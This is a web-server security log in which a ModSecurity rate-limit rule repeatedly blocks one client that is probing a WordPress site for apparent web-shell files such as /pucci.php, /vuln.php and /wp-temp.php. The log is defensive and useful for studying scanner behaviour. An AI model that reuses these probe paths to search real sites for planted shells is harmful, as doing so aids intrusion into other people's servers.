[Sun May 03 08:41:01.254779 2026] [:error] [pid 37127:tid 37206] [client 20.151.130.38:64891] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "afaZnf8khJXb5O5aWVXh9QAAAFQ"]
[Sun May 03 08:41:01.673796 2026] [:error] [pid 37246:tid 37263] [client 20.151.130.38:65415] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "afaZnThvYFGNwhnPamqA-gAAAQ0"]
[Sun May 03 08:41:02.138903 2026] [:error] [pid 40456:tid 40481] [client 20.151.130.38:62568] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pucci.php"] [unique_id "afaZnjSujTvwdzEkjSfgjQAAAZc"]
[Sun May 03 08:41:02.558401 2026] [:error] [pid 40422:tid 40441] [client 20.151.130.38:64825] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pucci.php"] [unique_id "afaZnkHBbBLrXh6PBuuM7QAAAU8"]
[Sun May 03 08:41:02.972150 2026] [:error] [pid 40422:tid 40449] [client 20.151.130.38:64783] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pucci.php"] [unique_id "afaZnkHBbBLrXh6PBuuM7gAAAVc"]
[Sun May 03 08:41:03.395259 2026] [:error] [pid 37246:tid 37265] [client 20.151.130.38:65481] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pucci.php"] [unique_id "afaZnzhvYFGNwhnPamqA_AAAAQ8"]
[Sun May 03 08:41:03.818229 2026] [:error] [pid 37246:tid 37257] [client 20.151.130.38:65442] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/details/"] [unique_id "afaZnzhvYFGNwhnPamqA_wAAAQk"]
[Sun May 03 08:41:04.246043 2026] [:error] [pid 40422:tid 40433] [client 20.151.130.38:61197] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/details/"] [unique_id "afaZoEHBbBLrXh6PBuuM7wAAAUc"]
[Sun May 03 08:41:04.662347 2026] [:error] [pid 37130:tid 37225] [client 20.151.130.38:62557] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/details/"] [unique_id "afaZoKIu7bmXKXicRk84ewAAAIw"]
[Sun May 03 08:41:05.090676 2026] [:error] [pid 40422:tid 40431] [client 20.151.130.38:61896] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/details/"] [unique_id "afaZoUHBbBLrXh6PBuuM8gAAAUU"]
[Sun May 03 08:41:05.523355 2026] [:error] [pid 40422:tid 40441] [client 20.151.130.38:65517] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "afaZoUHBbBLrXh6PBuuM8wAAAU8"]
[Sun May 03 08:41:05.941520 2026] [:error] [pid 40422:tid 40426] [client 20.151.130.38:62582] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "afaZoUHBbBLrXh6PBuuM9AAAAUA"]
[Sun May 03 08:41:06.359378 2026] [:error] [pid 37127:tid 37196] [client 20.151.130.38:62569] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "afaZov8khJXb5O5aWVXh-wAAAEw"]
[Sun May 03 08:41:06.779800 2026] [:error] [pid 40456:tid 40463] [client 20.151.130.38:64776] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.dj/index.php"] [unique_id "afaZojSujTvwdzEkjSfglwAAAYU"]
[Sun May 03 08:41:07.194537 2026] [:error] [pid 40456:tid 40466] [client 20.151.130.38:64796] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/audio/"] [unique_id "afaZozSujTvwdzEkjSfgmQAAAYg"]
[Sun May 03 08:41:07.608267 2026] [:error] [pid 37246:tid 37269] [client 20.151.130.38:64813] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/audio/"] [unique_id "afaZozhvYFGNwhnPamqBAQAAARM"]
[Sun May 03 08:41:08.021645 2026] [:error] [pid 40456:tid 40479] [client 20.151.130.38:64858] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/audio/"] [unique_id "afaZpDSujTvwdzEkjSfgnQAAAZU"]
[Sun May 03 08:41:08.436140 2026] [:error] [pid 40422:tid 40443] [client 20.151.130.38:62565] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/audio/"] [unique_id "afaZpEHBbBLrXh6PBuuM9gAAAVE"]
[Sun May 03 08:41:08.867215 2026] [:error] [pid 37246:tid 37272] [client 20.151.130.38:64805] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/"] [unique_id "afaZpDhvYFGNwhnPamqBAgAAARY"]
[Sun May 03 08:41:09.303336 2026] [:error] [pid 37130:tid 37230] [client 20.151.130.38:64775] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/"] [unique_id "afaZpaIu7bmXKXicRk84fAAAAJE"]
[Sun May 03 08:41:09.725843 2026] [:error] [pid 37130:tid 37232] [client 20.151.130.38:64781] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/"] [unique_id "afaZpaIu7bmXKXicRk84fQAAAJM"]
[Sun May 03 08:41:10.138647 2026] [:error] [pid 40422:tid 40449] [client 20.151.130.38:64846] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.tmb/"] [unique_id "afaZpkHBbBLrXh6PBuuM-gAAAVc"]
[Sun May 03 08:41:10.563318 2026] [:error] [pid 37130:tid 37220] [client 20.151.130.38:64781] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "afaZpqIu7bmXKXicRk84fwAAAIc"]
[Sun May 03 08:41:10.976656 2026] [:error] [pid 37130:tid 37235] [client 20.151.130.38:62546] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "afaZpqIu7bmXKXicRk84gAAAAJY"]
[Sun May 03 08:41:11.405905 2026] [:error] [pid 37130:tid 37223] [client 20.151.130.38:64854] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "afaZp6Iu7bmXKXicRk84gQAAAIo"]
[Sun May 03 08:41:11.817166 2026] [:error] [pid 37246:tid 37271] [client 20.151.130.38:64810] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "afaZpzhvYFGNwhnPamqBBAAAARU"]
[Sun May 03 08:41:12.256878 2026] [:error] [pid 37127:tid 37193] [client 20.151.130.38:64772] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no20.php"] [unique_id "afaZqP8khJXb5O5aWVXh_gAAAEk"]
[Sun May 03 08:41:12.674473 2026] [:error] [pid 37246:tid 37262] [client 20.151.130.38:65434] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no20.php"] [unique_id "afaZqDhvYFGNwhnPamqBBQAAAQw"]
[Sun May 03 08:41:13.108143 2026] [:error] [pid 37246:tid 37270] [client 20.151.130.38:65451] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no20.php"] [unique_id "afaZqThvYFGNwhnPamqBBgAAARQ"]
[Sun May 03 08:41:13.527463 2026] [:error] [pid 37246:tid 37248] [client 20.151.130.38:65420] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no20.php"] [unique_id "afaZqThvYFGNwhnPamqBBwAAAQA"]
[Sun May 03 08:41:13.954084 2026] [:error] [pid 37246:tid 37265] [client 20.151.130.38:62550] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yasnu.php"] [unique_id "afaZqThvYFGNwhnPamqBCAAAAQ8"]
[Sun May 03 08:41:14.366555 2026] [:error] [pid 37246:tid 37259] [client 20.151.130.38:61911] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yasnu.php"] [unique_id "afaZqjhvYFGNwhnPamqBCgAAAQo"]
[Sun May 03 08:41:14.780188 2026] [:error] [pid 37127:tid 37210] [client 20.151.130.38:61928] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yasnu.php"] [unique_id "afaZqv8khJXb5O5aWVXiAQAAAFg"]
[Sun May 03 08:41:15.197912 2026] [:error] [pid 37127:tid 37190] [client 20.151.130.38:61886] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yasnu.php"] [unique_id "afaZq_8khJXb5O5aWVXiBAAAAEY"]
[Sun May 03 08:41:15.615313 2026] [:error] [pid 37127:tid 37208] [client 20.151.130.38:62551] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sl.php"] [unique_id "afaZq_8khJXb5O5aWVXiBgAAAFY"]
[Sun May 03 08:41:16.028758 2026] [:error] [pid 37246:tid 37274] [client 20.151.130.38:61250] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sl.php"] [unique_id "afaZrDhvYFGNwhnPamqBCwAAARg"]
[Sun May 03 08:41:16.449090 2026] [:error] [pid 37127:tid 37196] [client 20.151.130.38:64795] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sl.php"] [unique_id "afaZrP8khJXb5O5aWVXiCAAAAEw"]
[Sun May 03 08:41:16.869517 2026] [:error] [pid 37130:tid 37225] [client 20.151.130.38:65506] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sl.php"] [unique_id "afaZrKIu7bmXKXicRk84jAAAAIw"]
[Sun May 03 08:41:17.287436 2026] [:error] [pid 40422:tid 40440] [client 20.151.130.38:64861] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vuln.php"] [unique_id "afaZrUHBbBLrXh6PBuuNAQAAAU4"]
[Sun May 03 08:41:17.699585 2026] [:error] [pid 40422:tid 40441] [client 20.151.130.38:64847] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vuln.php"] [unique_id "afaZrUHBbBLrXh6PBuuNBAAAAU8"]
[Sun May 03 08:41:18.112472 2026] [:error] [pid 40422:tid 40449] [client 20.151.130.38:62578] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vuln.php"] [unique_id "afaZrkHBbBLrXh6PBuuNBwAAAVc"]
[Sun May 03 08:41:18.528893 2026] [:error] [pid 37246:tid 37250] [client 20.151.130.38:65504] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vuln.php"] [unique_id "afaZrjhvYFGNwhnPamqBDgAAAQI"]
[Sun May 03 08:41:18.940079 2026] [:error] [pid 37246:tid 37267] [client 20.151.130.38:64807] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "afaZrjhvYFGNwhnPamqBEgAAARE"]
[Sun May 03 08:41:19.359167 2026] [:error] [pid 40422:tid 40432] [client 20.151.130.38:62515] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "afaZr0HBbBLrXh6PBuuNCQAAAUY"]
[Sun May 03 08:41:19.776998 2026] [:error] [pid 37246:tid 37270] [client 20.151.130.38:65479] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "afaZrzhvYFGNwhnPamqBFgAAARQ"]
[Sun May 03 08:41:20.187976 2026] [:error] [pid 40422:tid 40429] [client 20.151.130.38:61941] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "afaZsEHBbBLrXh6PBuuNCgAAAUM"]
[Sun May 03 08:41:20.627023 2026] [:error] [pid 37246:tid 37272] [client 20.151.130.38:62524] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afaZsDhvYFGNwhnPamqBGwAAARY"]
[Sun May 03 08:41:21.038826 2026] [:error] [pid 40422:tid 40436] [client 20.151.130.38:62572] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afaZsUHBbBLrXh6PBuuNCwAAAUo"]
[Sun May 03 08:41:21.468856 2026] [:error] [pid 37246:tid 37264] [client 20.151.130.38:62540] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afaZsThvYFGNwhnPamqBHwAAAQ4"]
[Sun May 03 08:41:21.880264 2026] [:error] [pid 40422:tid 40437] [client 20.151.130.38:65470] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "afaZsUHBbBLrXh6PBuuNDgAAAUs"]
[Sun May 03 08:41:22.306898 2026] [:error] [pid 37246:tid 37261] [client 20.151.130.38:64769] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afaZsjhvYFGNwhnPamqBIgAAAQs"]
[Sun May 03 08:41:22.732464 2026] [:error] [pid 37246:tid 37248] [client 20.151.130.38:65494] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afaZsjhvYFGNwhnPamqBIwAAAQA"]
[Sun May 03 08:41:23.151873 2026] [:error] [pid 40422:tid 40434] [client 20.151.130.38:64851] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afaZs0HBbBLrXh6PBuuNEgAAAUg"]
[Sun May 03 08:41:23.589735 2026] [:error] [pid 37246:tid 37251] [client 20.151.130.38:64893] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afaZszhvYFGNwhnPamqBJgAAAQM"]
[Sun May 03 08:41:24.006714 2026] [:error] [pid 37127:tid 37185] [client 20.151.130.38:61844] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-bda.php"] [unique_id "afaZtP8khJXb5O5aWVXiCwAAAEE"]
[Sun May 03 08:41:24.428079 2026] [:error] [pid 37127:tid 37198] [client 20.151.130.38:64869] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-bda.php"] [unique_id "afaZtP8khJXb5O5aWVXiDAAAAE0"]
